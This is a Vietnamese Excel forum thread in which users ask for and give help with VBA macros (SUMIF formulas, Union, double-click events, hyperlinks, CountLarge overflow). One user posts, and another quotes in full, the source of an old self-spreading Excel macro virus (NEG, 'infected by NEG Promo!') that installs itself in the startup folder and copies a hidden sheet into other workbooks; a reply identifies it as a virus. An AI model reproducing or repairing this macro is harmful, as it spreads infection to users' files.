Chuyên đề giải đáp những thắc mắc về code VBA

maytinhvp01 · 31/7/13

Mình muốn nhờ giải thich câu lệnh " If Ran.Cells(d, c) > max Then max = Ran.Cells(d, c) "
trong ví du:
Public Function LonNhat(Ran As Range)
Dim max As Double, v As Integer, d As Integer, c As Integer
max = Ran.Cells(1, 1)
For d = 1 To Ran.Rows.Count
For c = 1 To Ran.Columns.Count
If Ran.Cells(d, c) > max Then max = Ran.Cells(d, c)
Next c
Next d
v = Tim(max, Ran)
LonNhat = max
End Function
-------------------------------------------------------
[INFO1]Thông báo:
Vì topic này:
http://www.giaiphapexcel.com/forum/...ải-thích-các-code-đề-nghị-các-bạn-gửi-vào-đây
đã quá dài nên BQT đóng lại.
Nay tôi mở topic mới với cùng chủ đề: GIẢI THÍCH NHỮNG THẮC MẮC VỀ CODE
Các bạn nếu có nhu cầu giải thích code, vui lòng post tại đây nhé
NDU96081631
[/INFO1]

Love GPE · 21/11/20

Em chào A/C,
Dưới đây là dòng code lấy số liệu Nhập trong kỳ cho cột F với hàm Sumif.
Sheet3.Range("F4:F" & DongCuoi).FormulaR1C1 = "=SUMIF(ChitietNhap!R4C3:R" & Kn & "C3,Tonghop!RC[-4],ChitietNhap!R4C6:R" & Kn & "C6)"

Em có tạo thử 1 Name với Sumif rồi Em đưa vào Code test thử thì thấy ko được: Sheet3.Range("J4:J" & DongCuoi).FormulaR1C1 = "=NhapTrongKy"
Mong A/C chỉ giúp Em liệu có thể dùng name trong trường hợp này không? Em cảm ơn!

Love GPE · 21/11/20

Em sửa như này thì được rồi ạ
Sheet3.Range("J4:J" & DongCuoi).Formula = "=NhapTrongKy"

khoinguyenplastic · 27/11/20

các bác giúp e với

mấy hôm nay máy e cứ hiện lỗi mà e không biết sửa thế nào. Bị sai ở dòng màu xanh ạ

mong các bác chỉ e với. Em cảm ơn ạ.
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "NEGS.XLS")
If m$ = "NEGS.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10

Select Case whichfile
Case 10
Application.ScreenUpdating = False
n4$ = ActiveWorkbook.Name
Sheets("foxz").Visible = True
Sheets("foxz").Select
Sheets("foxz").Copy
With ActiveWorkbook
.title = ""
.Subject = ""
.Author = ""
.Keywords = ""
.Comments = "infected by NEG Promo!"
End With
newname$ = ActiveWorkbook.Name
c4$ = CurDir()
ChDir Application.StartupPath
ActiveWindow.Visible = False
Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "NEGS.XLS", FileFormat:=xlNormal _
, Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
False, CreateBackup:=False
ChDir c4$
Workbooks(n4$).Sheets("foxz").Visible = False
Application.OnSheetActivate = ""
Application.ScreenUpdating = True
Application.OnSheetActivate = "NEGS.XLS!check_files"
Case 1
Application.ScreenUpdating = False
n4$ = ActiveWorkbook.Name
p4$ = ActiveWorkbook.Path
s$ = Workbooks(n4$).Sheets(1).Name
If s$ <> "foxz" Then
Workbooks("NEGS.XLS").Sheets("foxz").Copy before:=Workbooks(n4$).Sheets(1)
Workbooks(n4$).Sheets("foxz").Visible = False
Else
End If
Application.OnSheetActivate = ""
Application.ScreenUpdating = True
Application.OnSheetActivate = "NEGS.XLS!check_files"
Case Else
End Select

End Sub

Ba Tê · 27/11/20

khoinguyenplastic đã viết:
các bác giúp e với mấy hôm nay máy e cứ hiện lỗi mà e không biết sửa thế nào. Bị sai ở dòng màu xanh ạ mong các bác chỉ e với. Em cảm ơn ạ.
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "NEGS.XLS")
If m$ = "NEGS.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10

Select Case whichfile
Case 10
Application.ScreenUpdating = False
n4$ = ActiveWorkbook.Name
Sheets("foxz").Visible = True
Sheets("foxz").Select
Sheets("foxz").Copy
With ActiveWorkbook
.title = ""
.Subject = ""
.Author = ""
.Keywords = ""
.Comments = "infected by NEG Promo!"
End With
newname$ = ActiveWorkbook.Name
c4$ = CurDir()
ChDir Application.StartupPath
ActiveWindow.Visible = False
Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "NEGS.XLS", FileFormat:=xlNormal _
, Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
False, CreateBackup:=False
ChDir c4$
Workbooks(n4$).Sheets("foxz").Visible = False
Application.OnSheetActivate = ""
Application.ScreenUpdating = True
Application.OnSheetActivate = "NEGS.XLS!check_files"
Case 1
Application.ScreenUpdating = False
n4$ = ActiveWorkbook.Name
p4$ = ActiveWorkbook.Path
s$ = Workbooks(n4$).Sheets(1).Name
If s$ <> "foxz" Then
Workbooks("NEGS.XLS").Sheets("foxz").Copy before:=Workbooks(n4$).Sheets(1)
Workbooks(n4$).Sheets("foxz").Visible = False
Else
End If
Application.OnSheetActivate = ""
Application.ScreenUpdating = True
Application.OnSheetActivate = "NEGS.XLS!check_files"
Case Else
End Select

End Sub

Nó là một "vi rút". Tìm cách xóa nó chứ sửa làm gì.

ngocthach90 · 28/11/20

Em muốn copy table từ Excel sang Word, nhưng trước khi copy em muốn dùng code VBA để tìm table đang có ở file Word cho trước để xóa và thay thế bằng table mới. Cho em hỏi có code nào làm được không?

Hoàng Nhật Phương · 30/11/20

Xin chào tất cả các bạn,
OT có đoạn code bên dưới , với dữ liệu nhiều code chạy chậm ạ:

Mã:

Sub DienCongThuc()
    Dim r As Range
    For Each r In Me.Range("C2:C28")
        If r.Value = "Ton kho" Then
            r.Offset(, 1).Value = "=MAX(RC[2]:RC[8])"
            r.Offset(, 3).Resize(, 7).Value = "=RC[-1]+R[-1]C-R[-2]C"
        End If
    Next r
End Sub

Do đó OT muốn sử dụng "Union" để tăng tốc độ code, nhờ các bạn xem & giúp đỡ OT cách làm với ạ.

tigertiger · 30/11/20

NHN_Phương đã viết:
Xin chào tất cả các bạn,
OT có đoạn code bên dưới , với dữ liệu nhiều code chạy chậm ạ:

Mã:

Sub DienCongThuc() Dim r As Range For Each r In Me.Range("C2:C28") If r.Value = "Ton kho" Then r.Offset(, 1).Value = "=MAX(RC[2]:RC[8])" r.Offset(, 3).Resize(, 7).Value = "=RC[-1]+R[-1]C-R[-2]C" End If Next r End Sub

Do đó OT muốn sử dụng "Union" để tăng tốc độ code, nhờ các bạn xem & giúp đỡ OT cách làm với ạ.

Thử cái này

Mã:

Sub DienCongThuc()
    Dim r As Range, RgU1 As Range, RgU2 As Range
    Dim k As Long
    k = 0
    For Each r In Range("C2:C28")
        If r.Value = "Ton kho" Then
            k = k + 1
            If k = 1 Then
                Set RgU1 = r.Offset(, 1)
                Set RgU2 = r.Offset(, 3).Resize(, 7)
            Else
                Set RgU1 = Union(RgU1, r.Offset(, 1))
                Set RgU2 = Union(RgU2, r.Offset(, 3).Resize(, 7))
            End If
        End If
    Next r
    If k > 0 Then
        RgU1.FormulaR1C1 = "=MAX(RC[2]:RC[8])"
        RgU2.FormulaR1C1 = "=RC[-1]+R[-1]C-R[-2]C"
    End If
End Sub

Hoàng Nhật Phương · 30/11/20

tigertiger đã viết:

Thử cái này

Mã:

Sub DienCongThuc()
    Dim r As Range, RgU1 As Range, RgU2 As Range
    Dim k As Long
    k = 0
    For Each r In Range("C2:C28")
        If r.Value = "Ton kho" Then
            k = k + 1
            If k = 1 Then
                Set RgU1 = r.Offset(, 1)
                Set RgU2 = r.Offset(, 3).Resize(, 7)
            Else
                Set RgU1 = Union(RgU1, r.Offset(, 1))
                Set RgU2 = Union(RgU2, r.Offset(, 3).Resize(, 7))
            End If
        End If
    Next r
    If k > 0 Then
        RgU1.FormulaR1C1 = "=MAX(RC[2]:RC[8])"
        RgU2.FormulaR1C1 = "=RC[-1]+R[-1]C-R[-2]C"
    End If
End Sub

Cảm ơn bạn rất nhiều, OT hiểu rồi ạ.

Love GPE · 2/12/20

Em chào A/C,
Em có đoạn code với mong muốn. Ví dụ: Em đang ở dòng số 10 Em nhấp đúp chuột vào ô G10. Thì sự kiện double click sẽ được kích hoạt và điền giá trị là 1 vào ô A10
(Tức là em cứ nhấp đúp chuột vào các ô trong vùng G5

200 thì ở dòng tương ứng sẽ điền giá trị là 1 vào dòng đó ở cột A)
Đây là đoạn code Em đang mày mò mà chưa được. Mong A/C xem giúp Em. Cảm ơn A/C nhiều!

Mã:

Private Sub Worksheet_BeforeDoubleClick(ByVal Target As Range, Cancel As Boolean)
If Sheet4.Range("G5:P200").Row = Target.Row Then
    Sheet4.Range("A" & Target.Row).Value = 1
End If
End Sub

Cu Tồ · 2/12/20

Love GPE đã viết:
cứ nhấp đúp chuột vào các ô trong vùng "G5:G200"

Mã:

Private Sub Worksheet_BeforeDoubleClick(ByVal Target As Range, Cancel As Boolean)
Dim Rng As Range
Set Rng = Sheet1.Range("G5:G200")
If Intersect(Target, Rng) Is Nothing Then Exit Sub
        Application.EnableEvents = False
            Target.Offset(, -6).Value = 1
        Application.EnableEvents = True
End Sub

batman1 · 2/12/20

Love GPE đã viết:
(Tức là em cứ nhấp đúp chuột vào các ô trong vùng G5200 thì ở dòng tương ứng sẽ điền giá trị là 1 vào dòng đó ở cột A)

Thử xem sao nhé.

Mã:

Private Sub Worksheet_BeforeDoubleClick(ByVal Target As Range, Cancel As Boolean)
    If Not Intersect(Sheet4.Range("G5:P200"), Target) Is Nothing Then
        Sheet4.Range("A" & Target.Row).Value = 1
    End If
End Sub

Love GPE · 2/12/20

batman1 đã viết:
Thử xem sao nhé.

Mã:

Private Sub Worksheet_BeforeDoubleClick(ByVal Target As Range, Cancel As Boolean) If Not Intersect(Sheet4.Range("G5:P200"), Target) Is Nothing Then Sheet4.Range("A" & Target.Row).Value = 1 End If End Sub

Chuẩn cơm Mẹ nấu luôn Anh ạ. Em cảm ơn Anh nhiều!

Love GPE · 3/12/20

Em chạy đoạn code tạo mục lục. Nó đã ra tên sheet. Nhưng bị lỗi tham chiếu khi bấm vào hyperlink. Em ngồi sửa mãi mà chưa được. Mong A/C xem giúp Em!

Mã:

Sub MucLuc()
Dim Ws As Worksheet, Cel As Range
Dim k As Byte
For Each Ws In Sheets
If Ws.CodeName <> "Sheet1" Then
    k = k + 1
    Set Cel = Sheet1.Range("B" & k + 1)
    Cel.Value = Ws.Name
    Cel.Hyperlinks.Add Anchor:=Cel, Address:="", SubAddress:=Cel & "!A1", TextToDisplay:=Cel.Value
End If
Next Ws
    Set Ws = Nothing: Set Cel = Nothing
End Sub

befaint · 3/12/20

Love GPE đã viết:
lỗi tham chiếu

Đừng có đặt tên Folder, tên File, tên Sheet là chữ --- có --- dấu --- mệt ---- lắm --- á.

Love GPE · 3/12/20

befaint đã viết:
Đừng có đặt tên Folder, tên File, tên Sheet là chữ --- có --- dấu --- mệt ---- lắm --- á.

Dạ vâng, Đúng là có dấu tiếng việt vào rất hay bị lỗi.
Code Anh chạy ngon lành Anh ạ. Từ code của Anh Em bổ sung thêm nháy đơn vào đoạn SubAddress của Em cũng đc rồi ạ.
Cảm ơn anh nhiều!

Hoàng Nhật Phương · 16/12/20

Xin tất cả các bạn,
Trong Module ThisWorkbook OT có đoạn code như sau:

Mã:

Option Explicit

Private Sub Workbook_SheetSelectionChange(ByVal sh As Object, ByVal Target As Range)
    If Target.Count > 1 Or Target.Row < 2 Then Exit Sub
    If sh.Name = "Sheet1" Then
        MsgBox sh.Name
    End If
End Sub

Khi OT thao tác chọn toàn bộ bảng tính (ctrl+A) thì bị lỗi: Overflow
Vậy để kiểm soát được lỗi này thì sẽ sử dụng câu lệnh gì tương tự với câu lệnh
"If Target.Count > 1 Or Target.Row < 2 Then Exit Sub" để thoát không sử dụng các câu lệnh On error.. ạ?

befaint · 16/12/20

NHN_Phương đã viết:
chọn toàn bộ bảng tính (ctrl+A) thì bị lỗi: Overflow

Mình trỏ vào thì thấy anh chấm Count kia ngỏm.
Vậy mình xử lý ảnh đó bằng cái lần trước mình hỏi đó.

If Target.CountLarge > 1 Then exit sub
If Target.Row < 2 Then Exit Sub

VetMini · 16/12/20

Range.Count là thuộc tính kiểu Long.
Với Excel đời cũ, một sheet có gần 17 triệu cells. Số đếm này biến kiểu Long chứa đủ.
Với Excel 2007+, một sheet có hơn 17 tỷ cells. Số đếm này sẽ làm tràn biến Long --> trong lập trình, tràn số gọi là overflow.
VBA bắt buộc phải thêm thuộc tính CountLarge cho Range để tránh tràn số.

truongvu317 · 16/12/20

VetMini đã viết:
Range.Count là thuộc tính kiểu Long

Bác cho cháu hỏi là thuộc tính count có bao giờ nó trả lại giá trị bằng 0 không?

VetMini · 16/12/20

truongvu317 đã viết:
Bác cho cháu hỏi là thuộc tính count có bao giờ nó trả lại giá trị bằng 0 không?

Hỏi chi vậy? Nếu có thì sao và không có thì sao?

Chuyên đề giải đáp những thắc mắc về code VBA

Thành viên thường trực

Thành viên chính thức

Thành viên chính thức

Thành viên mới

File đính kèm

Cạo Rồi Khỏi Gội

Thành viên mới

Thành viên gắn bó

Coming back ...

Thành viên gắn bó

Thành viên chính thức

Tìm đến kiến thức! ꧁༺ Cu Tồ ༻꧂

Thành viên gạo cội

Thành viên chính thức

Thành viên chính thức

File đính kèm

|||||||||||||

File đính kèm

Thành viên chính thức

Thành viên gắn bó

|||||||||||||

Ăn cùng góc phố

Thành viên tích cực

Ăn cùng góc phố

Đếm ngược thời gian